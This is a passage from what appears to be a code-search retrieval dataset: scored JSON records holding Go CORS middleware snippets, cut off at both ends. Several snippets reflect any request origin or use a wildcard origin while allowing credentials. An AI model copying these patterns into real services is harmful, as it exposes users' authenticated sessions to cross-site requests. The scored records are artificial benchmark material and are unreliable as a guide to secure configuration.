{\n\t\t\treturn\n\t\t}\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "33362369dbba451ff1a72712483ac1d4", "score": "0.69368196", "text": "func (h *PreflightHandler) handleCorsPreflight(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\n\th.logger.Debugf(\"Received [OPTIONS] request to CorsPreFlight: %+v\", r)\n\th.c.HandlePreflight(w, r)\n}", "title": "" }, { "docid": "5e8783ac7a496adfa3e9c7199870059d", "score": "0.6930659", "text": "func SetupCorsResponse(w *http.ResponseWriter, req *http.Request) {\n\t(*w).Header().Set(\"Access-Control-Allow-Origin\", \"http://localhost:8080\")\n\t(*w).Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t(*w).Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t(*w).Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Authorization, Set-Cookie\")\n}", "title": "" }, { "docid": "72b14e686d012446a6047764edbdbab5", "score": "0.6923389", "text": "func Middleware(allowedOriginRegex []regexp.Regexp, corsTimeout, allowedMethods, allowedHeaders string) webgo.Middleware {\n\treturn func(rw http.ResponseWriter, req *http.Request, next http.HandlerFunc) {\n\t\treqOrigin := getReqOrigin(req)\n\t\tallowed := allowOrigin(reqOrigin, allowedOriginRegex)\n\n\t\tif !allowed {\n\t\t\t// If CORS failed, no respective headers are set. But the execution is allowed to continue\n\t\t\t// Earlier this middleware blocked access altogether, which was considered an added\n\t\t\t// security measure despite it being outside the scope of this middelware. Though, such\n\t\t\t// restrictions create unnecessary complexities during inter-app communication.\n\t\t\tnext(rw, req)\n\t\t\treturn\n\t\t}\n\n\t\t// Set appropriate response headers required for CORS\n\t\trw.Header().Set(headerOrigin, reqOrigin)\n\t\trw.Header().Set(headerAccessControlAge, corsTimeout)\n\t\trw.Header().Set(headerCreds, \"true\")\n\t\trw.Header().Set(headerMethods, allowedMethods)\n\t\trw.Header().Set(headerAllowHeaders, allowedHeaders+req.Header.Get(headerReqHeaders))\n\n\t\tif req.Method == http.MethodOptions {\n\t\t\twebgo.SendHeader(rw, http.StatusOK)\n\t\t\treturn\n\t\t}\n\n\t\tnext(rw, req)\n\t}\n}", "title": "" }, { "docid": "3d1ca23055ea26ab2b75e3ae1ef1c16f", "score": "0.69224596", "text": "func simpleCors(f nethttp.HandlerFunc, allowedOrigin string) nethttp.HandlerFunc {\n\t// if not set return a no-op middleware\n\tif allowedOrigin == \"\" {\n\t\treturn func(w nethttp.ResponseWriter, r *nethttp.Request) {\n\t\t\tf(w, r)\n\t\t}\n\t}\n\treturn func(w nethttp.ResponseWriter, r *nethttp.Request) {\n\t\t(w).Header().Set(\"Access-Control-Allow-Origin\", allowedOrigin)\n\t\tf(w, r)\n\t}\n}", "title": "" }, { "docid": "6034871b2e7e341c3d2b00e3c9a24b32", "score": "0.6921061", "text": "func (a *App) CORS() {\n\th := func(w http.ResponseWriter, r *http.Request, p map[string]string) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, PATCH, DELETE, OPTIONS\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, Authorization\")\n\t\tw.Header().Set(\"Access-Control-Max-Age\", \"86400\")\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\t\tw.WriteHeader(http.StatusOK)\n\t}\n\n\ta.TreeMux.OptionsHandler = h\n\n\tapp.userHeaders[\"Access-Control-Allow-Origin\"] = \"*\"\n}", "title": "" }, { "docid": "8a32a9283513f2e752ad580ae6bb5586", "score": "0.6918821", "text": "func Cabecera(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS, PUT, DELETE, TRACE, HEAD, PATCH, CONNECT\")\n\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, X-Requested-With\")\n\tw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n}", "title": "" }, { "docid": "0471c9697fd02688144a0234f5d2b42d", "score": "0.6888941", "text": "func CORS(cfg *Config) webgo.Middleware {\n\tif cfg == nil {\n\t\tcfg = new(Config)\n\t\t// 30 minutes\n\t\tcfg.TimeoutSecs = 30 * 60\n\t}\n\n\tallowedOrigins := cfg.AllowedOrigins\n\tif len(allowedOrigins) == 0 {\n\t\tallowedOrigins = allowedDomains()\n\t}\n\n\tallowedOriginRegex := allowedOriginsRegex(allowedOrigins...)\n\tallowedmethods := allowedMethods(cfg.Routes)\n\tallowedHeaders := allowedHeaders(cfg.AllowedHeaders)\n\tcorsTimeout := fmt.Sprintf(\"%d\", cfg.TimeoutSecs)\n\n\treturn Middleware(\n\t\tallowedOriginRegex,\n\t\tcorsTimeout,\n\t\tallowedmethods,\n\t\tallowedHeaders,\n\t)\n}", "title": "" }, { "docid": "8c368c7681d514b5fea558a215122f4d", "score": "0.68803567", "text": "func SetHeaders(w http.ResponseWriter, r *http.Request) {\n\tset := func(w http.ResponseWriter, k, v string) {\n\t\tif v := w.Header().Get(k); len(v) > 0 {\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(k, v)\n\t}\n\n\tif origin := r.Header.Get(\"Origin\"); len(origin) > 0 {\n\t\tset(w, \"Access-Control-Allow-Origin\", origin)\n\t} else {\n\t\tset(w, \"Access-Control-Allow-Origin\", \"*\")\n\t}\n\n\tset(w, \"Access-Control-Allow-Credentials\", \"true\")\n\tset(w, \"Access-Control-Allow-Methods\", \"POST, PATCH, GET, OPTIONS, PUT, DELETE\")\n\tset(w, \"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n}", "title": "" }, { "docid": "da6256b56e860c6891d7b32886bf3ccf", "score": "0.68763655", "text": "func CORS(config interfaces.AppConfig, logger *zap.Logger) func(http.Handler) http.Handler {\n\treturn handlers.CORS(\n\t\thandlers.AllowCredentials(),\n\t\thandlers.AllowedHeaders(CORSAllowedHeaders()),\n\t\thandlers.AllowedMethods(CORSAllowedMethods()),\n\t\thandlers.AllowedOriginValidator(CORSOriginValidator(config, logger)),\n\t)\n}", "title": "" }, { "docid": "7007694bd386981e436ea46d390c2f98", "score": "0.68590474", "text": "func AddCORS(next http.Handler, origin, headers, methods string) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\tif len(origin) == 0 {\n\t\t\torigin = \"*\"\n\t\t}\n\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\n\t\tif len(headers) > 0 {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Headers\", headers)\n\t\t}\n\n\t\tif len(methods) > 0 {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Methods\", methods)\n\t\t}\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "606ff09dbd3637fb846b099e0f34ee45", "score": "0.6850713", "text": "func (server *Server) EnableCorsMiddleware() *Server {\n\tserver.router.Use(CORS)\n\treturn server\n}", "title": "" }, { "docid": "38e99e607265b011b1977273a9d88c75", "score": "0.682246", "text": "func allowCORS(h http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif origin := r.Header.Get(\"Origin\"); origin != \"\" {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\tif r.Method == \"OPTIONS\" && r.Header.Get(\"Access-Control-Request-Method\") != \"\" {\n\t\t\t\tpreflightHandler(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\th.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "38e99e607265b011b1977273a9d88c75", "score": "0.682246", "text": "func allowCORS(h http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif origin := r.Header.Get(\"Origin\"); origin != \"\" {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\tif r.Method == \"OPTIONS\" && r.Header.Get(\"Access-Control-Request-Method\") != \"\" {\n\t\t\t\tpreflightHandler(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\th.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "38e99e607265b011b1977273a9d88c75", "score": "0.682246", "text": "func allowCORS(h http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif origin := r.Header.Get(\"Origin\"); origin != \"\" {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\tif r.Method == \"OPTIONS\" && r.Header.Get(\"Access-Control-Request-Method\") != \"\" {\n\t\t\t\tpreflightHandler(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\th.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "02fc4cc2bde1d5e09275e6ab122a472d", "score": "0.6817181", "text": "func (h *Handler) addHeader(w http.ResponseWriter, origin string) {\n\tw.Header().Add(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\tw.Header().Add(\"Access-Control-Allow-Origin\", origin)\n\tw.Header().Add(\"Access-Control-Allow-Headers\", \"accept, content-type, authorization\")\n}", "title": "" }, { "docid": "2f087182ee11117116885110e4cc3abc", "score": "0.6815767", "text": "func setupResponse(w *http.ResponseWriter, req *http.Request) {\n\t(*w).Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n (*w).Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n (*w).Header().Set(\"Access-Control-Allow-Headers\", \"Access-Control-Allow-Headers, Access-Control-Allow-Origin, Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n}", "title": "" }, { "docid": "024b5e8a157aafe0bac28c8bc6d3b52f", "score": "0.681303", "text": "func CORS(c *gin.Context) {\n\n}", "title": "" }, { "docid": "2618a9a5bbdb75bd3203cf2a0a058050", "score": "0.68106806", "text": "func corsWrapper(f http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"origin, content-type, accept\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE, OPTIONS, HEAD\")\n\n\t\thttp.HandlerFunc(f).ServeHTTP(w, r)\n\n\t}\n}", "title": "" }, { "docid": "2aa4746f8984f2e2eb75fa28256f357b", "score": "0.6803501", "text": "func CORS() gin.HandlerFunc {\n\treturn cors.New(cors.Config{\n\t\tAbortOnError: false,\n\t\tAllowAllOrigins: true,\n\t\t// AllowedOrigins: []string{\"*\"}, // TODO: set GUI url\n\t\tAllowedMethods: []string{\"GET\", \"POST\", \"PUT\", \"PATCH\", \"HEAD\", \"OPTIONS\"},\n\t\tAllowedHeaders: []string{\"Content-Type\", \"Authorization\"},\n\t\tAllowCredentials: true,\n\t\tMaxAge: 12 * time.Hour,\n\t})\n}", "title": "" }, { "docid": "53e795811dd301cdc79b2ff6f0a50b21", "score": "0.6792906", "text": "func (cors *Cors) MiddleWare(w http.ResponseWriter, r *http.Request, ctx martini.Context) {\n\tvar origin string\n\n\t// Postman can't set Origin headers without using a proxy\n\tif cors.DevKey != \"\" && r.Header.Get(\"X-Dev\") == cors.DevKey {\n\t\torigin = r.Header.Get(\"X-Origin\")\n\t} else {\n\t\torigin = r.Header.Get(\"Origin\")\n\t}\n\n\t// Set Access-Control-Allow-Origin\n\th := w.Header()\n\toriginOk := cors.setOrigin(h, origin, ctx)\n\n\t// Conditionally set 403 if Origin was not a match\n\tif !originOk && !cors.Tolerant {\n\t\tw.WriteHeader(http.StatusForbidden)\n\t\treturn\n\t}\n\n}", "title": "" }, { "docid": "f1eb677691da8acb8246f91615d582ca", "score": "0.678271", "text": "func allowCORS(h http.Handler) http.Handler {\n\treturn http.HandlerFunc(\n\t\tfunc(w http.ResponseWriter, r *http.Request) {\n\t\t\tif origin := r.Header.Get(\"Origin\"); origin != \"\" {\n\t\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\t\tif r.Method == \"OPTIONS\" && r.Header.Get(\"Access-Control-Request-Method\") != \"\" {\n\t\t\t\t\tpreflightHandler(w, r)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\th.ServeHTTP(w, r)\n\t\t},\n\t)\n}", "title": "" }, { "docid": "79a824a31ecc362c500dcc9ee95dc980", "score": "0.67717963", "text": "func handleJWTOrigin(h goa.Handler) goa.Handler {\n\n\treturn func(ctx context.Context, rw http.ResponseWriter, req *http.Request) error {\n\t\torigin := req.Header.Get(\"Origin\")\n\t\tif origin == \"\" {\n\t\t\t// Not a CORS request\n\t\t\treturn h(ctx, rw, req)\n\t\t}\n\t\tif cors.MatchOrigin(origin, \"http://localhost:8080/swagger\") {\n\t\t\tctx = goa.WithLogContext(ctx, \"origin\", origin)\n\t\t\trw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\trw.Header().Set(\"Vary\", \"Origin\")\n\t\t\trw.Header().Set(\"Access-Control-Expose-Headers\", \"X-Time\")\n\t\t\trw.Header().Set(\"Access-Control-Max-Age\", \"600\")\n\t\t\trw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\t\tif acrm := req.Header.Get(\"Access-Control-Request-Method\"); acrm != \"\" {\n\t\t\t\t// We are handling a preflight request\n\t\t\t\trw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE\")\n\t\t\t\trw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\t\t\t}\n\t\t\treturn h(ctx, rw, req)\n\t\t}\n\n\t\treturn h(ctx, rw, req)\n\t}\n}", "title": "" }, { "docid": "5ec74a3f81b03f7fe5a274a6d9687592", "score": "0.67614657", "text": "func CORS(origin string) alice.Constructor {\n\n\treturn func(h http.Handler) http.Handler {\n\t\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS\")\n\t\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\t\t\tw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\n\t\t\tif r.Method == \"OPTIONS\" {\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\treturn\n\t\t\t}\n\t\t\th.ServeHTTP(w, r)\n\t\t})\n\t}\n}", "title": "" }, { "docid": "12755410c0cc392d164da88500de7816", "score": "0.67024153", "text": "func (app *application) enableCORS(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\") // Allow all origins to connect to the backend\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, DELETE, OPTIONS\") // Allow these methods to send pre-flight requests for cross-origin access to the backend\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type,Authorization\") // Allow all origins to resend these headers when connecting to the backend\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "d236c942786bb13dc822e7e140e399d4", "score": "0.6700005", "text": "func cors(f http.HandlerFunc, methods ...string) http.HandlerFunc {\n\tms := strings.Join(methods, \", \") + \", OPTIONS\"\n\tmd := make(map[string]struct{})\n\tfor _, method := range methods {\n\t\tmd[method] = struct{}{}\n\t}\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\torigin := \"*\"\n\t\tif len(r.Header.Get(\"Origin\")) > 0 {\n\t\t\torigin = r.Header.Get(\"Origin\")\n\t\t}\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", ms)\n\t\tw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\tif r.Method == \"OPTIONS\" {\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\treturn\n\t\t}\n\t\tif _, exists := md[r.Method]; exists {\n\t\t\tf.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Allow\", ms)\n\t\thttp.Error(w,\n\t\t\thttp.StatusText(http.StatusMethodNotAllowed),\n\t\t\thttp.StatusMethodNotAllowed)\n\t}\n}", "title": "" }, { "docid": "e8468a3ae89c3582d918b700c892fde3", "score": "0.6692245", "text": "func EnableCORS(req *restful.Request, resp *restful.Response, chain *restful.FilterChain) {\n\n\tresp.AddHeader(\"Access-Control-Allow-Origin\", \"*\")\n\tchain.ProcessFilter(req, resp)\n}", "title": "" }, { "docid": "9d38ddfb51d783e576ebeb78e33553e6", "score": "0.6677837", "text": "func (h *httpCoquery) EnableCORS() {\n\th.useCORS = true\n}", "title": "" }, { "docid": "7a78621c7f6b7cae353081f27c15c6bb", "score": "0.6675913", "text": "func NewCorsMiddleware(origins []string) *CorsMw {\n\tvar origin = \"\"\n\tif len(origins) == 0 {\n\t\torigin = \"*\"\n\t}\n\n\tfor i, singleOrigin := range origins {\n\t\tif i == 0 {\n\t\t\torigin += singleOrigin\n\t\t} else {\n\t\t\torigin += \",\" + singleOrigin\n\t\t}\n\t}\n\n\treturn &CorsMw{origin: origin}\n}", "title": "" }, { "docid": "c19af9d3e869c74265b5c05ebb365d4a", "score": "0.6662404", "text": "func CORS() celerity.MiddlewareHandler {\n\tconfig := CORSConfig{\n\t\tAllowOrigins: []string{\"*\"},\n\t\tAllowHeaders: []string{\"*\"},\n\t}\n\treturn CORSWithConfig(config)\n}", "title": "" }, { "docid": "bfa80d433d3859a4a3b050c909022db1", "score": "0.665551", "text": "func CORS(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar domains []string\n\t\tvar headers []string\n\t\tif corsContext := browser.GetCORSContext(r.Context()); corsContext != nil {\n\t\t\tdomains = corsContext.AllowedOrigins()\n\t\t\theaders = corsContext.AllowedHeaders()\n\t\t}\n\t\tif len(domains) > 0 {\n\t\t\tdomain := domains[0]\n\t\t\tfor _, d := range domains {\n\t\t\t\tif r.Header.Get(\"Origin\") == d {\n\t\t\t\t\tdomain = d\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tbrowser.SetCORSHeaders(w, domain, headers)\n\t\t} else {\n\t\t\torigin := browser.DefaultAllowedOrigin\n\t\t\tif r.Header.Get(\"Origin\") != \"\" {\n\t\t\t\torigin = r.Header.Get(\"Origin\")\n\t\t\t}\n\t\t\tbrowser.SetCORSHeaders(w, origin, headers)\n\t\t}\n\t\tif r.Method != \"OPTIONS\" {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t}\n\t})\n}", "title": "" }, { "docid": "0058420c1bf9451611e9579a40a86650", "score": "0.665476", "text": "func corsHandler(w http.ResponseWriter, r *http.Request, params map[string]string) {\n\thelper.EnableCrossDomain(w, r)\n}", "title": "" }, { "docid": "9849e2a1b812714737b5a29b06fdbd95", "score": "0.66413367", "text": "func NewCorsMiddleware(handler lib.RequestHandler, logger lib.Logger, env lib.Env) CorsMiddleware {\n\treturn CorsMiddleware{\n\t\thandler: handler,\n\t\tlogger: logger,\n\t\tenv: env,\n\t}\n}", "title": "" }, { "docid": "b9cd66cc7232d7596a25b63e0f1d2009", "score": "0.66273123", "text": "func CORSWithConfig(config CORSConfig) celerity.MiddlewareHandler {\n\treturn func(next celerity.RouteHandler) celerity.RouteHandler {\n\t\treturn func(c celerity.Context) celerity.Response {\n\n\t\t\torigins := strings.Join(config.AllowOrigins, \",\")\n\t\t\tmethods := strings.Join(config.AllowMethods, \",\")\n\t\t\theaders := strings.Join(config.AllowHeaders, \",\")\n\t\t\teHeaders := strings.Join(config.ExposeHeaders, \",\")\n\t\t\tc.Response.Header.Set(\"Access-Control-Allow-Origin\", origins)\n\t\t\tif methods != \"\" {\n\t\t\t\tc.Response.Header.Set(\"Access-Control-Allow-Methods\", methods)\n\t\t\t}\n\t\t\tif headers != \"\" {\n\t\t\t\tc.Response.Header.Set(\"Access-Control-Allow-Headers\", headers)\n\t\t\t}\n\t\t\tif config.Age > 0 {\n\t\t\t\tc.Response.Header.Set(\"Access-Control-Max-Age\", string(config.Age))\n\t\t\t}\n\t\t\tif config.AllowCredentials {\n\t\t\t\tc.Response.Header.Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\t\t}\n\t\t\tif eHeaders != \"\" {\n\t\t\t\tc.Response.Header.Set(\"Access-Control-Expose-Headers\", eHeaders)\n\t\t\t}\n\n\t\t\tif c.Request.Method == celerity.OPTIONS {\n\t\t\t\treturn c.Response\n\t\t\t}\n\t\t\treturn next(c)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4cf9aa31e9690f7cade88fd9b9e11d0b", "score": "0.66031927", "text": "func options(w http.ResponseWriter, r *http.Request) {\n\torigin := \"*\"\n\tif ro := r.Header.Get(\"Origin\"); ro != \"\" {\n\t\torigin = ro\n\t}\n\n\tw.Header().Add(\"Access-Control-Allow-Origin\", origin)\n\tw.Header().Add(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\tw.Header().Add(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding\")\n}", "title": "" }, { "docid": "f02c903fcffdf62531069e8dacfd57a0", "score": "0.6567626", "text": "func handleSwaggerOrigin(h goa.Handler) goa.Handler {\n\n\treturn func(ctx context.Context, rw http.ResponseWriter, req *http.Request) error {\n\t\torigin := req.Header.Get(\"Origin\")\n\t\tif origin == \"\" {\n\t\t\t// Not a CORS request\n\t\t\treturn h(ctx, rw, req)\n\t\t}\n\t\tif cors.MatchOrigin(origin, \"*\") {\n\t\t\tctx = goa.WithLogContext(ctx, \"origin\", origin)\n\t\t\trw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\trw.Header().Set(\"Access-Control-Expose-Headers\", \"Authorization, Content-Type, Origin\")\n\t\t\trw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\t\tif acrm := req.Header.Get(\"Access-Control-Request-Method\"); acrm != \"\" {\n\t\t\t\t// We are handling a preflight request\n\t\t\t\trw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, DELETE, PUT, PATCH, OPTIONS\")\n\t\t\t\trw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, Accept, Origin, Authorization\")\n\t\t\t}\n\t\t\treturn h(ctx, rw, req)\n\t\t}\n\n\t\treturn h(ctx, rw, req)\n\t}\n}", "title": "" }, { "docid": "5dd79fd8679218b85988f133ee5d692d", "score": "0.6565341", "text": "func AccessControlAllowOrigin(res http.ResponseWriter, req *http.Request) {\n\tres.Header().Set(\"Access-Control-Allow-Origin\", \"*\") //tighten this up!\n\t//possibly add an option in the config for url(s) accessing this.\n}", "title": "" }, { "docid": "68520be2411b9011cc075b6cc2d23f85", "score": "0.6564815", "text": "func CORSAllowedHeaders() []string {\n\treturn []string{\n\t\t// Accept is implicit\n\t\t// Accept-Language is implicit\n\t\t// Content-Language is implicit\n\t\t\"Authorization\",\n\t\t\"Cache-Control\",\n\t\t\"Content-Type\",\n\t\t\"Connection\",\n\t\t\"Pragma\",\n\t\t\"Referer\",\n\t\t\"Sec-Fetch-Dest\",\n\t\t\"Sec-Fetch-Mode\",\n\t\t\"Sec-Fetch-Site\",\n\t\t\"User-Agent\",\n\t\t\"X-Requested-With\",\n\t}\n}", "title": "" }, { "docid": "7b7cca674fe429a56a7df19b8f8149ab", "score": "0.6561894", "text": "func addHeaders(c *gin.Context) {\n\tc.Header(\"Cache-Control\", \"must-revalidate\")\n\t// c.Header(\"Example-Header\", \"foo\")\n\t// c.Header(\"Access-Control-Allow-Origin\", \"*\")\n\t// c.Header(\"Access-Control-Allow-Methods\", \"GET,POST,PUT,DELETE\")\n\t// c.Header(\"Access-Control-Allow-Headers\", \"X-Custom-Header\")\n\tc.Next()\n}", "title": "" }, { "docid": "775c76c347286eb92423230d6fd2e365", "score": "0.6558646", "text": "func handleAccountOrigin(h goa.Handler) goa.Handler {\n\n\treturn func(ctx context.Context, rw http.ResponseWriter, req *http.Request) error {\n\t\torigin := req.Header.Get(\"Origin\")\n\t\tif origin == \"\" {\n\t\t\t// Not a CORS request\n\t\t\treturn h(ctx, rw, req)\n\t\t}\n\t\tif cors.MatchOrigin(origin, \"http://localhost:8080/swagger\") {\n\t\t\tctx = goa.WithLogContext(ctx, \"origin\", origin)\n\t\t\trw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\trw.Header().Set(\"Vary\", \"Origin\")\n\t\t\trw.Header().Set(\"Access-Control-Expose-Headers\", \"X-Time\")\n\t\t\trw.Header().Set(\"Access-Control-Max-Age\", \"600\")\n\t\t\trw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\t\tif acrm := req.Header.Get(\"Access-Control-Request-Method\"); acrm != \"\" {\n\t\t\t\t// We are handling a preflight request\n\t\t\t\trw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE\")\n\t\t\t\trw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\t\t\t}\n\t\t\treturn h(ctx, rw, req)\n\t\t}\n\n\t\treturn h(ctx, rw, req)\n\t}\n}", "title": "" }, { "docid": "fee1a5803d5330156e5ebb3c4e528fff", "score": "0.6556468", "text": "func CORS(c *gin.Context) {\n\t// First, we add the headers with need to enable CORS\n\t// Make sure to adjust these headers to your needs\n\tc.Header(\"Access-Control-Allow-Origin\", \"*\")\n\tc.Header(\"Access-Control-Allow-Methods\", \"*\")\n\tc.Header(\"Access-Control-Allow-Headers\", \"*\")\n\tc.Header(\"Content-Type\", \"application/json\")\n\t// Second, we handle the OPTIONS problem\n\tif c.Request.Method != \"OPTIONS\" {\n\t\tc.Next()\n\t} else {\n\t\t// Everytime we receive an OPTIONS request,\n\t\t// we just return an HTTP 200 Status Code\n\t\t// Like this, Angular can now do the real\n\t\t// request using any other method than OPTIONS\n\t\tc.AbortWithStatus(http.StatusOK)\n\t}\n}", "title": "" }, { "docid": "24fcf9cc11f2434d6aef837ccde8880a", "score": "0.65538484", "text": "func UseCORS(r *gin.Engine) {\n\t// r.Use(cors.Default())\n\tconfig := cors.DefaultConfig()\n\tconfig.AllowAllOrigins = true\n\tconfig.AddAllowHeaders(\"Authorization\")\n\tconfig.AddAllowHeaders(\"X-Requested-With\")\n\n\tconfig.AddAllowMethods(\"OPTIONS\")\n\tconfig.AddAllowMethods(\"DELETE\")\n\tconfig.AddAllowMethods(\"PATCH\")\n\n\tconfig.AddExposeHeaders(\"X-Total-Count\")\n\tconfig.AddExposeHeaders(\"X-Current-Page\")\n\tconfig.AddExposeHeaders(\"X-Per-Page\")\n\n\tr.Use(cors.New(config))\n}", "title": "" } ]
93d671419ff28795d25b977089bfcc36
Validate validates s against the YANG schema corresponding to its type.
[ { "docid": "c2da2473b6751e740fb585f7168f15c4", "score": "0.0", "text": "func (s *NetworkInstance_PolicyForwarding_Policy) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_PolicyForwarding_Policy\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" } ]
[ { "docid": "5688b576db111c2e456f7d4302c1dd8e", "score": "0.6610589", "text": "func Validate(ctx types.Context, s, d []byte) error {\n\n\tif ctx == nil {\n\t\tlog.StandardLogger().WithFields(log.Fields{\n\t\t\t\"schema\": string(s),\n\t\t\t\"body\": string(d),\n\t\t}).Debug(\"validating schema\")\n\t} else {\n\t\tctx.WithFields(log.Fields{\n\t\t\t\"schema\": string(s),\n\t\t\t\"body\": string(d),\n\t\t}).Debug(\"validating schema\")\n\t}\n\n\tvalidator, err := getSchemaValidator(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(d) == 0 {\n\t\td = []byte(\"{}\")\n\t}\n\n\tdata, err := ucl.Parse(bytes.NewReader(d))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn validator.Validate(data)\n}", "title": "" }, { "docid": "6f4de7bf7d5258c0ae5644af3fc3e6e6", "score": "0.63407695", "text": "func (t Type) Validate() error {\n\tv := string(t)\n\n\treturn validation.Validate(&v, validation.Required)\n}", "title": "" }, { "docid": "f28c4313467c4a676761a027789d0b7a", "score": "0.60948354", "text": "func Validate(s string) error {\n\ts = skipWS(s)\n\n\ttail, err := validateValue(s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot parse JSON: %s; unparsed tail: %q\", err, startEndString(tail))\n\t}\n\ttail = skipWS(tail)\n\tif len(tail) > 0 {\n\t\treturn fmt.Errorf(\"unexpected tail: %q\", startEndString(tail))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "78b9f46398a33567fae7441f357e1f0a", "score": "0.6053808", "text": "func Validate(b []byte) (bool, []error) {\n\tt := objectType(b)\n\tif validStixType(t) && objectValidators[t] != nil {\n\t\treturn objectValidators[t](b)\n\t}\n\treturn false, []error{fmt.Errorf(\"Invalid STIX type '%v' for object\", t)}\n}", "title": "" }, { "docid": "f0311cb9a4128da27d085743e3cf92df", "score": "0.5995015", "text": "func (s Scheme) Validate() error {\n\tv := 